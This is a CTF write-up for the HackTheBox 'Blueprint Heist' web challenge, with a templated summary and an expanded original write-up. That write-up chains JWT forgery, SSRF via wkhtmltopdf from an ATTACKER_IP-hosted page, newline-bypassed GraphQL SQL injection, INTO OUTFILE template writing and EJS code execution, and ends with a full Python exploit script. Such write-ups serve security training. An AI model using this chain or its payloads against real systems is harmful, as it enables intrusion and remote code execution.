← Back to Writeups
HTBN/AWeb

Blueprint Heist

XESXOR8/23/20265 min read
#web#htb#n/a

Blueprint Heist

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2024-05-18 | Status: Solved Techniques: ejs_ssti_rce, graphql_injection, jwt_secret_bruteforce, mysql_into_outfile, sqli_regex_bypass, ssrf_via_wkhtmltopdf

Summary

Task: Web app with wkhtmltopdf PDF generation, GraphQL API, JWT auth, and EJS templating. Solution: Chain SSRF via wkhtmltopdf to access internal GraphQL, bypass regex SQLi filter with newline, write malicious EJS template via INTO OUTFILE, trigger SSTI for RCE.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20240518_htb_business_blueprint_heist
  • Tags: SQLi, mysql, ssrf, ssti, jwt, graphql, wkhtmltopdf, nodejs, ejs
  • Indicators: wkhtmltopdf PDF generation, GraphQL API, EJS templating, JWT authentication, regex-based SQLi filter
  • Source: 20240518_htb_business_blueprint_heist.md

Foothold

Vulnerability / Misconfiguration

  1. Ejs_ssti_rce
  2. Graphql_injection
  3. Jwt_secret_bruteforce
  4. Mysql_into_outfile
  5. Sqli_regex_bypass
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • ejs_ssti_rce
  • graphql_injection
  • jwt_secret_bruteforce
  • mysql_into_outfile
  • sqli_regex_bypass
  • ssrf_via_wkhtmltopdf
  • Tags: SQLi, mysql, ssrf, ssti, jwt, graphql, wkhtmltopdf, nodejs, ejs

Original Writeup

<details><summary>Click to expand original content</summary>

Blueprint Heist - HackTheBox Business CTF 2024

Description

Web application for Urban Planning Commission that allows viewing construction reports and downloading PDFs. Stack: Node.js/Express, EJS templating engine, GraphQL API, JWT authentication, wkhtmltopdf for PDF generation.

Analysis

Application Architecture

  1. Frontend: Express + EJS templates
  2. API: GraphQL endpoint /graphql
  3. Auth: JWT tokens with roles
  4. PDF: wkhtmltopdf for URL to PDF conversion
  5. DB: MySQL

Discovered Vulnerabilities

  1. SSRF via wkhtmltopdf - endpoint /download uses wkhtmltopdf for URL to PDF conversion, allowing SSRF to localhost
  2. JWT Secret Disclosure - production server uses a different secret: Str0ng_K3y_N0_l3ak_pl3ase?
  3. SQL Injection in GraphQL - query getDataByName is vulnerable to SQLi with regex bypass via newline
  4. Server-Side Template Injection - EJS templates can execute arbitrary code
  5. File Write via SQLi - MySQL INTO OUTFILE allows writing files to the server

Key Files from Source Code

app/utils/security.js - SQLi filter with regex bypass:

function detectSqli (query) {
    const pattern = /^.*[!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]/
    return pattern.test(query)
}

function checkInternal(req) {
    const address = req.socket.remoteAddress.replace(/^.*:/, '')
    return address === "127.0.0.1"
}

app/schemas/schema.js - Vulnerable GraphQL query:

data = await connection.query(`SELECT * FROM users WHERE name like '%${args.name}%'`);

app/controllers/downloadController.js - SSRF via wkhtmltopdf:

wkhtmltopdf(url, { output: pdfPath }, callback);

Solution

Step 1: JWT Secret Discovery

Source code contained placeholder secret IM_Sup3r_K3y_pl3ase_b3_c4r3ful?, but production used a different one. Real secret: Str0ng_K3y_N0_l3ak_pl3ase?

import jwt

secret = "Str0ng_K3y_N0_l3ak_pl3ase?"
token = jwt.encode({"role": "admin"}, secret, algorithm="HS256")
print(token)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4ifQ.rZnq-8kqh9o7rsIJket6BFk1lG6lH6VBTqGVLy65hzM

Step 2: SSRF for GraphQL Access

GraphQL endpoint requires requests from localhost (127.0.0.1). Using SSRF via wkhtmltopdf with iframe:

<!DOCTYPE html>
<html>
<body>
<iframe src="http://localhost:1337/graphql?token=ADMIN_TOKEN&query=ENCODED_QUERY" width="1000" height="800"></iframe>
</body>
</html>

Host HTML on external server and load via /download endpoint.

Step 3: SQL Injection with Regex Bypass

SQLi filter uses regex: /^.*[!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]/

Bypass: The . character in regex doesn't match newlines, so adding \n at the beginning bypasses the filter.

SQLi test:

{getDataByName(name:"john\n' OR 1=1-- "){id,name}}

Successfully dumps all users.

Step 4: File Write via INTO OUTFILE

Using SQLi to write malicious EJS template to /app/views/errors/404.ejs:

john\n'UNION SELECT 1,1,1,'<%= global.process.mainModule.require(`child_process`).execSync(`/readflag`).toString() %>' INTO OUTFILE '/app/views/errors/404.ejs'-- 

Full GraphQL query (URL encoded):

%7BgetDataByName%28name%3A%22john%5Cn%27UNION%20SELECT%201%2C1%2C1%2C%27%3C%25%3D%20global.process.mainModule.require%28%60child_process%60%29.execSync%28%60/readflag%60%29.toString%28%29%20%25%3E%27%20INTO%20OUTFILE%20%27/app/views/errors/404.ejs%27--%20%22%29%7Bid%2Cname%7D%7D

Step 5: Trigger SSTI for RCE

Access a non-existent URL to trigger 404 error, which renders our malicious template:

curl "http://TARGET/nonexistent_page_12345"

Full Exploit

#!/usr/bin/env python3
"""
Blueprint Heist - HackTheBox Business CTF 2024
Full exploit chain: SSRF -> SQLi -> File Write -> SSTI -> RCE
"""

import jwt
import requests
from urllib.parse import quote
from http.server import HTTPServer, SimpleHTTPRequestHandler
import threading

TARGET = "http://TARGET_IP:PORT"
ATTACKER_SERVER = "http://ATTACKER_IP:8888"

# Step 1: Generate admin JWT token
def generate_admin_token():
    secret = "Str0ng_K3y_N0_l3ak_pl3ase?"
    token = jwt.encode({"role": "admin"}, secret, algorithm="HS256")
    return token

# Step 2: Create malicious HTML for SSRF
def create_ssrf_html(token, graphql_query):
    encoded_query = quote(graphql_query)
    html = f'''<!DOCTYPE html>
<html>
<body>
<iframe src="http://localhost:1337/graphql?token={token}&query={encoded_query}" width="1000" height="800"></iframe>
</body>
</html>'''
    return html

# Step 3: SQLi payload with regex bypass
def create_sqli_payload():
    # Newline bypasses the regex filter
    # INTO OUTFILE writes malicious EJS template
    ejs_payload = "<%= global.process.mainModule.require(`child_process`).execSync(`/readflag`).toString() %>"
    sqli = f"john\\n'UNION SELECT 1,1,1,'{ejs_payload}' INTO OUTFILE '/app/views/errors/404.ejs'-- "
    graphql = '{getDataByName(name:"' + sqli + '"){id,name}}'
    return graphql

# Step 4: Host malicious HTML
def start_http_server(html_content, port=8888):
    with open("exploit.html", "w") as f:
        f.write(html_content)
    
    handler = SimpleHTTPRequestHandler
    server = HTTPServer(("0.0.0.0", port), handler)
    thread = threading.Thread(target=server.handle_request)
    thread.start()
    return thread

# Step 5: Trigger SSRF via wkhtmltopdf
def trigger_ssrf(target, attacker_url):
    url = f"{target}/download"
    data = {"url": f"{attacker_url}/exploit.html"}
    response = requests.post(url, data=data)
    return response

# Step 6: Trigger 404 to execute SSTI
def trigger_rce(target):
    response = requests.get(f"{target}/nonexistent_page_12345")
    return response.text

# Main exploit
def main():
    print("[*] Blueprint Heist Exploit")
    
    # Generate token
    token = generate_admin_token()
    print(f"[+] Admin token: {token}")
    
    # Create SQLi payload
    sqli_query = create_sqli_payload()
    print(f"[+] SQLi payload created")
    
    # Create SSRF HTML
    html = create_ssrf_html(token, sqli_query)
    print(f"[+] SSRF HTML created")
    
    # Start HTTP server
    print(f"[*] Starting HTTP server on port 8888...")
    start_http_server(html)
    
    # Trigger SSRF
    print(f"[*] Triggering SSRF via wkhtmltopdf...")
    trigger_ssrf(TARGET, ATTACKER_SERVER)
    
    # Wait for file write
    import time
    time.sleep(2)
    
    # Trigger RCE
    print(f"[*] Triggering SSTI via 404...")
    flag = trigger_rce(TARGET)
    print(f"[+] Flag: {flag}")

if __name__ == "__main__":
    main()

Lessons Learned

  1. Chain vulnerabilities - each vulnerability alone is not critical, but the chain leads to RCE
  2. Regex bypass via newlines - . in regex doesn't match \n, common bypass
  3. wkhtmltopdf SSRF - classic SSRF vector, allows bypassing IP-based restrictions
  4. MySQL INTO OUTFILE - if there's SQLi and FILE privileges, files can be written
  5. EJS SSTI - global.process.mainModule.require('child_process').execSync() for RCE
  6. JWT secrets - production may use a different secret than in source code
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR